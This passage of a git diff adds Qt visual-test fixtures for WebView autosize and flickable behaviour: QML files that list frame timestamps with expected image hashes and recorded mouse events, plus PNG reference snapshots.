diff --git a/tests/auto/declarative/qmlvisual/webview/autosize/data/autosize.qml b/tests/auto/declarative/qmlvisual/webview/autosize/data/autosize.qml
new file mode 100644
index 00000000..61221387
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/autosize/data/autosize.qml
@@ -0,0 +1,115 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ hash: "b2d863e57dee2a297d038e18acc70f92"
+ }
+ Frame {
+ msec: 32
+ hash: "903a4c7e619abba5342c8c827f26a722"
+ }
+ Frame {
+ msec: 48
+ hash: "903a4c7e619abba5342c8c827f26a722"
+ }
+ Frame {
+ msec: 64
+ hash: "903a4c7e619abba5342c8c827f26a722"
+ }
+ Frame {
+ msec: 80
+ hash: "903a4c7e619abba5342c8c827f26a722"
+ }
+ Frame {
+ msec: 96
+ hash: "903a4c7e619abba5342c8c827f26a722"
+ }
+ Frame {
+ msec: 112
+ hash: "903a4c7e619abba5342c8c827f26a722"
+ }
+ Frame {
+ msec: 128
+ hash: "903a4c7e619abba5342c8c827f26a722"
+ }
+ Frame {
+ msec: 144
+ hash: "903a4c7e619abba5342c8c827f26a722"
+ }
+ Frame {
+ msec: 160
+ hash: "903a4c7e619abba5342c8c827f26a722"
+ }
+ Frame {
+ msec: 176
+ hash: "903a4c7e619abba5342c8c827f26a722"
+ }
+ Frame {
+ msec: 192
+ hash: "903a4c7e619abba5342c8c827f26a722"
+ }
+ Frame {
+ msec: 208
+ hash: "903a4c7e619abba5342c8c827f26a722"
+ }
+ Frame {
+ msec: 224
+ hash: "903a4c7e619abba5342c8c827f26a722"
+ }
+ Frame {
+ msec: 240
+ hash: "903a4c7e619abba5342c8c827f26a722"
+ }
+ Frame {
+ msec: 256
+ hash: "903a4c7e619abba5342c8c827f26a722"
+ }
+ Frame {
+ msec: 272
+ hash: "903a4c7e619abba5342c8c827f26a722"
+ }
+ Frame {
+ msec: 288
+ hash: "903a4c7e619abba5342c8c827f26a722"
+ }
+ Frame {
+ msec: 304
+ hash: "903a4c7e619abba5342c8c827f26a722"
+ }
+ Frame {
+ msec: 320
+ hash: "903a4c7e619abba5342c8c827f26a722"
+ }
+ Frame {
+ msec: 336
+ hash: "903a4c7e619abba5342c8c827f26a722"
+ }
+ Frame {
+ msec: 352
+ hash: "903a4c7e619abba5342c8c827f26a722"
+ }
+ Frame {
+ msec: 368
+ hash: "903a4c7e619abba5342c8c827f26a722"
+ }
+ Frame {
+ msec: 384
+ hash: "903a4c7e619abba5342c8c827f26a722"
+ }
+ Frame {
+ msec: 400
+ hash: "903a4c7e619abba5342c8c827f26a722"
+ }
+ Frame {
+ msec: 416
+ hash: "903a4c7e619abba5342c8c827f26a722"
+ }
+ Frame {
+ msec: 432
+ hash: "903a4c7e619abba5342c8c827f26a722"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/webview/flickable/data/flickweb.0.png b/tests/auto/declarative/qmlvisual/webview/flickable/data/flickweb.0.png
new file mode 100644
index 00000000..513aab69
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/flickable/data/flickweb.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/webview/flickable/data/flickweb.1.png b/tests/auto/declarative/qmlvisual/webview/flickable/data/flickweb.1.png
new file mode 100644
index 00000000..513aab69
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/flickable/data/flickweb.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/webview/flickable/data/flickweb.10.png b/tests/auto/declarative/qmlvisual/webview/flickable/data/flickweb.10.png
new file mode 100644
index 00000000..bb22d01d
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/flickable/data/flickweb.10.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/webview/flickable/data/flickweb.2.png b/tests/auto/declarative/qmlvisual/webview/flickable/data/flickweb.2.png
new file mode 100644
index 00000000..1357551f
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/flickable/data/flickweb.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/webview/flickable/data/flickweb.3.png b/tests/auto/declarative/qmlvisual/webview/flickable/data/flickweb.3.png
new file mode 100644
index 00000000..513aab69
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/flickable/data/flickweb.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/webview/flickable/data/flickweb.4.png b/tests/auto/declarative/qmlvisual/webview/flickable/data/flickweb.4.png
new file mode 100644
index 00000000..bb22d01d
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/flickable/data/flickweb.4.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/webview/flickable/data/flickweb.5.png b/tests/auto/declarative/qmlvisual/webview/flickable/data/flickweb.5.png
new file mode 100644
index 00000000..bb22d01d
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/flickable/data/flickweb.5.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/webview/flickable/data/flickweb.6.png b/tests/auto/declarative/qmlvisual/webview/flickable/data/flickweb.6.png
new file mode 100644
index 00000000..c61ae3fd
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/flickable/data/flickweb.6.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/webview/flickable/data/flickweb.7.png b/tests/auto/declarative/qmlvisual/webview/flickable/data/flickweb.7.png
new file mode 100644
index 00000000..bb22d01d
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/flickable/data/flickweb.7.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/webview/flickable/data/flickweb.8.png b/tests/auto/declarative/qmlvisual/webview/flickable/data/flickweb.8.png
new file mode 100644
index 00000000..bb22d01d
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/flickable/data/flickweb.8.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/webview/flickable/data/flickweb.9.png b/tests/auto/declarative/qmlvisual/webview/flickable/data/flickweb.9.png
new file mode 100644
index 00000000..bb22d01d
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/flickable/data/flickweb.9.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/webview/flickable/data/flickweb.qml b/tests/auto/declarative/qmlvisual/webview/flickable/data/flickweb.qml
new file mode 100644
index 00000000..c248167f
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/flickable/data/flickweb.qml
@@ -0,0 +1,6083 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "flickweb.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Frame {
+ msec: 48
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Frame {
+ msec: 64
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Frame {
+ msec: 80
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Frame {
+ msec: 96
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Frame {
+ msec: 112
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Frame {
+ msec: 128
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Frame {
+ msec: 144
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Frame {
+ msec: 160
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Frame {
+ msec: 176
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Frame {
+ msec: 192
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Frame {
+ msec: 208
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Frame {
+ msec: 224
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Frame {
+ msec: 240
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Frame {
+ msec: 256
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Frame {
+ msec: 272
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Frame {
+ msec: 288
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Frame {
+ msec: 304
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Frame {
+ msec: 320
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Frame {
+ msec: 336
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Frame {
+ msec: 352
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Frame {
+ msec: 368
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Frame {
+ msec: 384
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Frame {
+ msec: 400
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Frame {
+ msec: 416
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Frame {
+ msec: 432
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Frame {
+ msec: 448
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Frame {
+ msec: 464
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Frame {
+ msec: 480
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Frame {
+ msec: 496
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Frame {
+ msec: 512
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Frame {
+ msec: 528
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Frame {
+ msec: 544
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 0; y: 7
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 0; y: 7
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 560
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 12; y: 10
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 576
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 15; y: 11
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 592
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Frame {
+ msec: 608
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Frame {
+ msec: 624
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Frame {
+ msec: 640
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 12; y: 10
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 11; y: 10
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 656
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 9; y: 10
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 672
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Frame {
+ msec: 688
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 9; y: 11
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 704
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 9; y: 12
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 9; y: 15
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 720
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 9; y: 18
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 12; y: 24
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 736
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 14; y: 28
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 18; y: 35
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 752
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 19; y: 39
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 22; y: 43
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 768
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 22; y: 44
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 23; y: 44
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 784
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Frame {
+ msec: 800
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 23; y: 43
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 816
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 24; y: 45
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 832
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 26; y: 47
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 28; y: 49
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 848
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 29; y: 51
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 32; y: 55
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 864
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 34; y: 57
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 36; y: 61
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 880
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 38; y: 62
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 41; y: 66
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 896
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 43; y: 68
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 48; y: 73
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 912
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 50; y: 76
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 57; y: 80
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 928
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 63; y: 85
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 66; y: 87
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 944
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 72; y: 91
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 74; y: 93
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 960
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 80; y: 97
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 82; y: 99
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 976
+ image: "flickweb.1.png"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 86; y: 102
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 88; y: 103
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 992
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 91; y: 103
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 92; y: 104
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1008
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Frame {
+ msec: 1024
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Frame {
+ msec: 1040
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 92; y: 105
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1056
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 92; y: 106
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1072
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 92; y: 107
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 92; y: 108
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1088
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 92; y: 109
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1104
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 92; y: 110
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 92; y: 111
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1120
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 92; y: 112
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1136
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 92; y: 113
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 92; y: 114
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1152
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 92; y: 115
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 92; y: 116
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1168
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 92; y: 117
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1184
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Frame {
+ msec: 1200
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 92; y: 117
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1216
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 92; y: 116
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 92; y: 115
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1232
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 91; y: 112
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 91; y: 111
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1248
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 90; y: 107
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 90; y: 104
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1264
+ hash: "e891b00cd44578b4a8e635ffe4c6d3fd"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 90; y: 101
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 89; y: 96
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1280
+ hash: "61a543282ffb5e751ea1d97f0c95b208"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 89; y: 93
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 89; y: 85
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1296
+ hash: "102e4b664bade46ab3bbb611acee22c9"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 89; y: 81
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 87; y: 70
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1312
+ hash: "6bf42ac28a14db681442aeb7ed0c7610"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 85; y: 60
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 85; y: 60
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 84; y: 56
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1328
+ hash: "ef531060d6b75cec8a6e3c01b3f69cc0"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 84; y: 51
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 84; y: 49
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1344
+ hash: "e839af9d67f6214f0901977b3aa96d1a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 84; y: 46
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 84; y: 43
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1360
+ hash: "b2d6b68f1f7229e8e65bb37e4c418a1b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 84; y: 41
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 85; y: 39
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1376
+ hash: "e4a562aa35aa532d15c9b129e22797bb"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 83; y: 38
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1392
+ hash: "029d347e9c99dd4a9cec5120ac7fc25e"
+ }
+ Frame {
+ msec: 1408
+ hash: "3c16a74e18a59630f35511ab5514c769"
+ }
+ Frame {
+ msec: 1424
+ hash: "5dc472d6c5198d5a628510bd45a61a11"
+ }
+ Frame {
+ msec: 1440
+ hash: "430d60127ed59dbc5904647424ead40d"
+ }
+ Frame {
+ msec: 1456
+ hash: "cb27cfcfbbb77b55c2a8bf7e51c0af07"
+ }
+ Frame {
+ msec: 1472
+ hash: "46f2eb33b0e8316c4123ddbee2f60ae2"
+ }
+ Frame {
+ msec: 1488
+ hash: "1df306111ca012c9f405018778c0a12b"
+ }
+ Frame {
+ msec: 1504
+ hash: "1eafab8fd457ad9acda068344178b4a8"
+ }
+ Frame {
+ msec: 1520
+ hash: "286656898100e53d6d7728b51ce93df5"
+ }
+ Frame {
+ msec: 1536
+ hash: "e2a88f0ba3030a430028147930989bbb"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 84; y: 38
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1552
+ hash: "fb23cf265c4d253470c2515043bc5dd8"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 83; y: 38
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1568
+ hash: "1dba4f0e5e5948b7133725ea8bbef3e7"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 83; y: 37
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 84; y: 38
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1584
+ hash: "8578965c5ad012284e4e0a14a42da25e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 84; y: 34
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1600
+ hash: "3ef187decae08baa2ec92998c2cbb7f7"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 83; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1616
+ hash: "4e0491128eac0bbfa7a131b1f18f243c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 83; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1632
+ hash: "c2d0799526e908204efbd3aa980e086c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 83; y: 23
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1648
+ hash: "cc87e09a6784d61680f8c6ab0d6a38fa"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 84; y: 22
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 85; y: 16
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1664
+ hash: "13dec7e835b4f26970f98b66533f84f1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 85; y: 14
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1680
+ hash: "e5d2862bee024b64326b7d85e5e45399"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 85; y: 12
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1696
+ hash: "0b1401ce4a91811ac9c3eec5f94b380d"
+ }
+ Frame {
+ msec: 1712
+ hash: "0de290542c9d3e03ed78f51423011c16"
+ }
+ Frame {
+ msec: 1728
+ hash: "4c9aa06ad1e246b4b026742fc8cf37bc"
+ }
+ Frame {
+ msec: 1744
+ hash: "c33003a8262c2ba25510ece181e61bc9"
+ }
+ Frame {
+ msec: 1760
+ hash: "c33003a8262c2ba25510ece181e61bc9"
+ }
+ Frame {
+ msec: 1776
+ hash: "ad184fa88c4299b8911c9b7ada5b3736"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 85; y: 12
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 85; y: 13
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 85; y: 15
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1792
+ hash: "ad184fa88c4299b8911c9b7ada5b3736"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 85; y: 17
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 85; y: 23
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1808
+ hash: "c2d0799526e908204efbd3aa980e086c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 85; y: 30
+ modifiers: 0
